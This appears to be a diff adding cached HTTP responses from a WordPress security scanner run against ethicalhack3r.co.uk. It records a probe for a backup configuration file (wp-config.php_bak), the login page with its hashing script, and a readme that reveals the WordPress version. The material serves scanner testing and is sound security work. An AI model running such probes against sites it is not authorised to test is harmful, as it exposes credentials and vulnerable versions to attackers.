class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
|
||||
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
|
||||
<ul>\n\
|
||||
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
|
||||
</li>\n\
|
||||
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
|
||||
</li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
|
||||
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress ‘In the Wild’ and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress ‘In the Wild’ and WPScan Update</a></li></ul></li>\n\
|
||||
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
|
||||
<ul>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
|
||||
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
|
||||
<ul class='xoxo blogroll'>\n\
|
||||
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
|
||||
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
|
||||
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
|
||||
</ul>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
|
||||
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
|
||||
<br/>\n\
|
||||
<br/>\n\
|
||||
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
|
||||
</div></div>\n\
|
||||
</li>\n\
|
||||
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&fg=000000&anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
|
||||
</li>\n\
|
||||
</ul>\n </div>\n\
|
||||
<br style=\"clear:both;\"/>\n\
|
||||
<div id=\"footer\">\n\
|
||||
<div class=\"copyright\">Copyright © 2008-2012 Ryan Dewhurst</div>\n\
|
||||
</div>\n \n\
|
||||
</div>\n \n\
|
||||
</body>\n\
|
||||
</html>"
|
||||
code: 404
|
||||
connect_time: 2.8e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php_bak
|
||||
headers: |
|
||||
HTTP/1.1 404 Not Found
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:29 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=f2egkri13avupn6rhlg42gb3s3bbaq8f; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:29 GMT
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=d4246d948bbf536e5df63b7ea80b67c9c1341821728; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 2.7e-05
|
||||
pretransfer_time: 2.6e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete: !ruby/object:Proc {}
|
||||
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-config.php_bak
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-config.php_bak
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.68455
|
||||
status_message:
|
||||
time: 0.773834
|
||||
159
cache/browser/d088c604417091f3f05f5018e3a0ee09aff8a3fc
vendored
Normal file
159
cache/browser/d088c604417091f3f05f5018e3a0ee09aff8a3fc
vendored
Normal file
@@ -0,0 +1,159 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 2.6e-05
|
||||
body: |
|
||||
<!DOCTYPE html>
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
|
||||
<title>ethicalhack3r › Log In</title>
|
||||
<link rel='stylesheet' id='wp-admin-css' href='http://www.ethicalhack3r.co.uk/wp-admin/css/wp-admin.css?ver=3.4' type='text/css' media='all'/>
|
||||
<link rel='stylesheet' id='colors-fresh-css' href='http://www.ethicalhack3r.co.uk/wp-admin/css/colors-fresh.css?ver=3.4' type='text/css' media='all'/>
|
||||
<script language="javascript" type="text/javascript" src="http://www.ethicalhack3r.co.uk/wp-content/plugins/chap-secure-login/js/sha256.js"></script>
|
||||
<script language="javascript" type="text/javascript" src="http://www.ethicalhack3r.co.uk/wp-content/plugins/chap-secure-login/js/md5.js"></script>
|
||||
<script language="javascript" type="text/javascript">
|
||||
function doCHAP (){
|
||||
|
||||
var userid = document.getElementById('user_login');
|
||||
var psw = document.getElementById('user_pass');
|
||||
|
||||
if (!userid.value || !psw.value)
|
||||
return false;
|
||||
|
||||
var password = psw.value;
|
||||
|
||||
var shaObj = new jsSHA(hex_md5(password)+'518aedbf95e34c72567f82fd1ad92f76',"ASCII");
|
||||
psw.value = shaObj.getHash("SHA-256", "HEX");
|
||||
|
||||
return true;
|
||||
|
||||
}
|
||||
</script>
|
||||
<meta name='robots' content='noindex,nofollow'/>
|
||||
</head>
|
||||
<body class="login">
|
||||
<div id="login">
|
||||
<h1><a href="http://wordpress.org/" title="Powered by WordPress">ethicalhack3r</a></h1>
|
||||
<form name="loginform" id="loginform" action="http://www.ethicalhack3r.co.uk/wp-login.php" method="post">
|
||||
<p>
|
||||
<label for="user_login">Username<br/>
|
||||
<input type="text" name="log" id="user_login" class="input" value="" size="20" tabindex="10"/></label>
|
||||
</p>
|
||||
<p>
|
||||
<label for="user_pass">Password<br/>
|
||||
<input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20"/></label>
|
||||
</p>
|
||||
<a style="border-width:0px;text-decoration:none;" href="http://www.redsend.org/chapsecurelogin/" title="More info..."><img style="border-width:0px;text-decoration:none;height:20px;width:20px;position:relative;float:left;margin-top:-75px;margin-left:70px;" alt="> Encryption password!" src="http://www.ethicalhack3r.co.uk/wp-content/plugins/chap-secure-login/lock.png"></a>
|
||||
<script language="javascript" type="text/javascript">
|
||||
var form_login = document.getElementById('loginform');
|
||||
form_login.onsubmit = function (){ return doCHAP();};
|
||||
</script>
|
||||
<p class="forgetmenot"><label for="rememberme"><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90"/> Remember Me</label></p>
|
||||
<p class="submit">
|
||||
<input type="submit" name="wp-submit" id="wp-submit" class="button-primary" value="Log In" tabindex="100"/>
|
||||
<input type="hidden" name="redirect_to" value="http://www.ethicalhack3r.co.uk/wp-admin/"/>
|
||||
<input type="hidden" name="testcookie" value="1"/>
|
||||
</p>
|
||||
</form>
|
||||
<p id="nav">
|
||||
<a href="http://www.ethicalhack3r.co.uk/wp-login.php?action=lostpassword" title="Password Lost and Found">Lost your password?</a>
|
||||
</p>
|
||||
<script type="text/javascript">
|
||||
function wp_attempt_focus(){
|
||||
setTimeout( function(){ try{
|
||||
d = document.getElementById('user_login');
|
||||
d.focus();
|
||||
d.select();
|
||||
} catch(e){}
|
||||
}, 200);
|
||||
}
|
||||
|
||||
wp_attempt_focus();
|
||||
if(typeof wpOnload=='function')wpOnload();
|
||||
</script>
|
||||
<p id="backtoblog"><a href="http://www.ethicalhack3r.co.uk/" title="Are you lost?">← Back to ethicalhack3r</a></p>
|
||||
</div>
|
||||
<div class="clear"></div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
code: 200
|
||||
connect_time: 2.6e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/wp-login.php
|
||||
headers: |
|
||||
HTTP/1.1 200 OK
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:24 GMT
|
||||
Content-Type: text/html; charset=UTF-8
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Set-Cookie: session=fbijij2hvb22muk4s7k22eqqh73fbeui; path=/; HttpOnly
|
||||
Expires: Wed, 11 Jan 1984 05:00:00 GMT
|
||||
Cache-Control: no-cache, must-revalidate, max-age=0
|
||||
Pragma: no-cache
|
||||
Last-Modified: Mon, 09 Jul 2012 08:15:24 GMT
|
||||
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/
|
||||
X-Frame-Options: SAMEORIGIN
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=dc3212a602a29949a28842ab47e69526d1341821723; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 2.6e-05
|
||||
pretransfer_time: 2.5e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete:
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /wp-login.php
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
proxy_password:
|
||||
proxy_type:
|
||||
proxy_username:
|
||||
response: *id001
|
||||
ssl_cacert:
|
||||
ssl_capath:
|
||||
ssl_cert:
|
||||
ssl_cert_type:
|
||||
ssl_key:
|
||||
ssl_key_password:
|
||||
ssl_key_type:
|
||||
timeout:
|
||||
url: http://www.ethicalhack3r.co.uk/wp-login.php
|
||||
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
username:
|
||||
verbose:
|
||||
requested_http_method:
|
||||
requested_url:
|
||||
start_time:
|
||||
start_transfer_time: 0.726025
|
||||
status_message:
|
||||
time: 0.731246
|
||||
171
cache/browser/e9a03326c5fdf909f33b69ecb341ecd834ba3355
vendored
Normal file
171
cache/browser/e9a03326c5fdf909f33b69ecb341ecd834ba3355
vendored
Normal file
@@ -0,0 +1,171 @@
|
||||
--- &id001 !ruby/object:Typhoeus::Response
|
||||
app_connect_time: 3.3e-05
|
||||
body: |
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
|
||||
<title>WordPress › ReadMe</title>
|
||||
<link rel="stylesheet" href="wp-admin/css/install.css?ver=20100228" type="text/css"/>
|
||||
</head>
|
||||
<body>
|
||||
<h1 id="logo">
|
||||
<a href="http://wordpress.org/"><img alt="WordPress" src="wp-admin/images/wordpress-logo.png"/></a>
|
||||
<br/> Version 3.4
|
||||
</h1>
|
||||
<p style="text-align: center">Semantic Personal Publishing Platform</p>
|
||||
<h1>First Things First</h1>
|
||||
<p>Welcome. WordPress is a very special project to me. Every developer and contributor adds something unique to the mix, and together we create something beautiful that I'm proud to be a part of. Thousands of hours have gone into WordPress, and we're dedicated to making it better every day. Thank you for making it part of your world.</p>
|
||||
<p style="text-align: right">— Matt Mullenweg</p>
|
||||
<h1>Installation: Famous 5-minute install</h1>
|
||||
<ol>
|
||||
<li>Unzip the package in an empty directory and upload everything.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser. It will take you through the process to set up a <code>wp-config.php</code> file with your database connection details.
|
||||
<ol>
|
||||
<li>If for some reason this doesn't work, don't worry. It doesn't work on all web hosts. Open up <code>wp-config-sample.php</code> with a text editor like WordPad or similar and fill in your database connection details.</li>
|
||||
<li>Save the file as <code>wp-config.php</code> and upload it.</li>
|
||||
<li>Open <span class="file"><a href="wp-admin/install.php">wp-admin/install.php</a></span> in your browser.</li>
|
||||
</ol>
|
||||
</li>
|
||||
<li>Once the configuration file is set up, the installer will set up the tables needed for your blog. If there is an error, double check your <code>wp-config.php</code> file, and try again. If it fails again, please go to the <a href="http://wordpress.org/support/" title="WordPress support">support forums</a> with as much data as you can gather.</li>
|
||||
<li><strong>If you did not enter a password, note the password given to you.</strong> If you did not provide a username, it will be <code>admin</code>.</li>
|
||||
<li>The installer should then send you to the <a href="wp-login.php">login page</a>. Sign in with the username and password you chose during the installation. If a password was generated for you, you can then click on 'Profile' to change the password.</li>
|
||||
</ol>
|
||||
<h1>Updating</h1>
|
||||
<h2>Using the Automatic Updater</h2>
|
||||
<p>If you are updating from version 2.7 or higher, you can use the automatic updater:</p>
|
||||
<ol>
|
||||
<li>Open the <span class="file"><a href="wp-admin/update-core.php">wp-admin/update-core.php</a></span> in your browser and follow the instructions.</li>
|
||||
<li>You wanted more, perhaps? That's it!</li>
|
||||
</ol>
|
||||
<h2>Updating Manually</h2>
|
||||
<ol>
|
||||
<li>Before you update anything, make sure you have backup copies of any files you may have modified such as <code>index.php</code>.</li>
|
||||
<li>Delete your old WordPress files, saving ones you've modified.</li>
|
||||
<li>Upload the new files.</li>
|
||||
<li>Point your browser to <span class="file"><a href="wp-admin/upgrade.php">/wp-admin/upgrade.php</a>.</span></li>
|
||||
</ol>
|
||||
<h2>Theme Template Changes</h2>
|
||||
<p>If you have customized your theme templates, you may have to make some changes across major versions.</p>
|
||||
<h1>Migrating from other systems</h1>
|
||||
<p>WordPress can <a href="http://codex.wordpress.org/Importing_Content">import from a number of systems</a>. First you need to get WordPress installed and working as described above, before using <a href="wp-admin/import.php" title="Import to WordPress">our import tools</a>.</p>
|
||||
<h1>System Requirements</h1>
|
||||
<ul>
|
||||
<li><a href="http://php.net/">PHP</a> version <strong>5.2.4</strong> or higher.</li>
|
||||
<li><a href="http://www.mysql.com/">MySQL</a> version <strong>5.0</strong> or higher.</li>
|
||||
</ul>
|
||||
<h2>System Recommendations</h2>
|
||||
<ul>
|
||||
<li>The <a href="http://httpd.apache.org/docs/2.2/mod/mod_rewrite.html">mod_rewrite</a> Apache module.</li>
|
||||
<li>A link to <a href="http://wordpress.org/">http://wordpress.org</a> on your site.</li>
|
||||
</ul>
|
||||
<h1>Online Resources</h1>
|
||||
<p>If you have any questions that aren't addressed in this document, please take advantage of WordPress' numerous online resources:</p>
|
||||
<dl>
|
||||
<dt><a href="http://codex.wordpress.org/">The WordPress Codex</a></dt>
|
||||
<dd>The Codex is the encyclopedia of all things WordPress. It is the most comprehensive source of information for WordPress available.</dd>
|
||||
<dt><a href="http://wordpress.org/news/">The WordPress Blog</a></dt>
|
||||
<dd>This is where you'll find the latest updates and news related to WordPress. Recent WordPress news appears in your administrative dashboard by default.</dd>
|
||||
<dt><a href="http://planet.wordpress.org/">WordPress Planet</a></dt>
|
||||
<dd>The WordPress Planet is a news aggregator that brings together posts from WordPress blogs around the web.</dd>
|
||||
<dt><a href="http://wordpress.org/support/">WordPress Support Forums</a></dt>
|
||||
<dd>If you've looked everywhere and still can't find an answer, the support forums are very active and have a large community ready to help. To help them help you be sure to use a descriptive thread title and describe your question in as much detail as possible.</dd>
|
||||
<dt><a href="http://codex.wordpress.org/IRC">WordPress <abbr title="Internet Relay Chat">IRC</abbr> Channel</a></dt>
|
||||
<dd>There is an online chat channel that is used for discussion among people who use WordPress and occasionally support topics. The above wiki page should point you in the right direction. (<a href="irc://irc.freenode.net/wordpress">irc.freenode.net #wordpress</a>)</dd>
|
||||
</dl>
|
||||
<h1><abbr title="eXtensible Markup Language">XML</abbr>-<abbr title="Remote Procedure Call">RPC</abbr> and Atom Interface</h1>
|
||||
<p>You can post to your WordPress blog with tools like <a href="http://download.live.com/writer">Windows Live Writer</a>, <a href="http://illuminex.com/ecto/">Ecto</a>, <a href="http://bloggar.com/">w.bloggar</a>, <a href="http://radio.userland.com/">Radio Userland</a> (which means you can use Radio's email-to-blog feature), <a href="http://www.newzcrawler.com/">NewzCrawler</a>, and other tools that support the blogging <abbr title="application programming interface">API</abbr>s! :) You can read more about <a href="http://codex.wordpress.org/XML-RPC_Support"><abbr>XML</abbr>-<abbr>RPC</abbr> support on the Codex</a>.</p>
|
||||
<h1>Post via Email</h1>
|
||||
<p>You can post from an email client! To set this up go to your "Writing" options screen and fill in the connection details for your secret <abbr title="Post Office Protocol version 3">POP3</abbr> account. Then you need to set up <code>wp-mail.php</code> to execute periodically to check the mailbox for new posts. You can do it with <a href="http://en.wikipedia.org/wiki/Cron">cron</a>-jobs, or if your host doesn't support it you can look into the various website-monitoring services, and make them check your <code>wp-mail.php</code> <abbr title="Uniform Resource Locator">URL</abbr>.</p>
|
||||
<p>Posting is easy: Any email sent to the address you specify will be posted, with the subject as the title. It is best to keep the address discrete. The script will <em>delete</em> emails that are successfully posted.</p>
|
||||
<h1>User Roles</h1>
|
||||
<p>We introduced a very flexible roles system in version 2.0. You can <a href="http://codex.wordpress.org/Roles_and_Capabilities" title="WordPress roles and capabilities">read more about Roles and Capabilities on the Codex</a>.</p>
|
||||
<h1>Final Notes</h1>
|
||||
<ul>
|
||||
<li>If you have any suggestions, ideas, or comments, or if you (gasp!) found a bug, join us in the <a href="http://wordpress.org/support/">Support Forums</a>.</li>
|
||||
<li>WordPress has a robust plugin <abbr title="application programming interface">API</abbr> that makes extending the code easy. If you are a developer interested in utilizing this, see the <a href="http://codex.wordpress.org/Plugin_API" title="WordPress plugin API">plugin documentation in the Codex</a>. You shouldn't modify any of the core code.</li>
|
||||
</ul>
|
||||
<h1>Share the Love</h1>
|
||||
<p>WordPress has no multi-million dollar marketing campaign or celebrity sponsors, but we do have something even better—you. If you enjoy WordPress please consider telling a friend, setting it up for someone less knowledgable than yourself, or writing the author of a media article that overlooks us.</p>
|
||||
<p>WordPress is the official continuation of <a href="http://cafelog.com/">b2/cafélog</a>, which came from Michel V. The work has been continued by the <a href="http://wordpress.org/about/">WordPress developers</a>. If you would like to support WordPress, please consider <a href="http://wordpress.org/donate/" title="Donate to WordPress">donating</a>.</p>
|
||||
<h1>License</h1>
|
||||
<p>WordPress is free software, and is released under the terms of the <abbr title="GNU General Public License">GPL</abbr> version 2 or (at your option) any later version. See <a href="license.txt">license.txt</a>.</p>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
code: 200
|
||||
connect_time: 3.3e-05
|
||||
curl_error_message: No error
|
||||
curl_return_code: 0
|
||||
effective_url: http://www.ethicalhack3r.co.uk/readme.html
|
||||
headers: |
|
||||
HTTP/1.1 200 OK
|
||||
Server: cloudflare-nginx
|
||||
Date: Mon, 09 Jul 2012 08:15:24 GMT
|
||||
Content-Type: text/html
|
||||
Transfer-Encoding: chunked
|
||||
Connection: keep-alive
|
||||
Last-Modified: Wed, 20 Jun 2012 18:25:15 GMT
|
||||
ETag: "a0c3-23d7-4c2eb853838c0"
|
||||
Vary: Accept-Encoding
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
|
||||
Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
|
||||
|
||||
|
||||
http_version:
|
||||
mock: false
|
||||
name_lookup_time: 3.2e-05
|
||||
pretransfer_time: 3.1e-05
|
||||
request: !ruby/object:Typhoeus::Request
|
||||
after_complete:
|
||||
auth_method:
|
||||
body:
|
||||
cache_timeout: 600
|
||||
connect_timeout:
|
||||
disable_ssl_peer_verification: true
|
||||
follow_location:
|
||||
handled_response:
|
||||
headers:
|
||||
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
|
||||
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
|
||||
max_redirects:
|
||||
method: :get
|
||||
on_complete:
|
||||
params:
|
||||
parsed_uri: !ruby/object:URI::HTTP
|
||||
fragment:
|
||||
host: www.ethicalhack3r.co.uk
|
||||
opaque:
|
||||
password:
|
||||
path: /readme.html
|
||||
port: 80
|
||||
query:
|
||||
registry:
|
||||
scheme: http
|
||||
user:
|
||||
password:
|
||||
proxy:
|
||||
proxy_auth_method:
|
||||
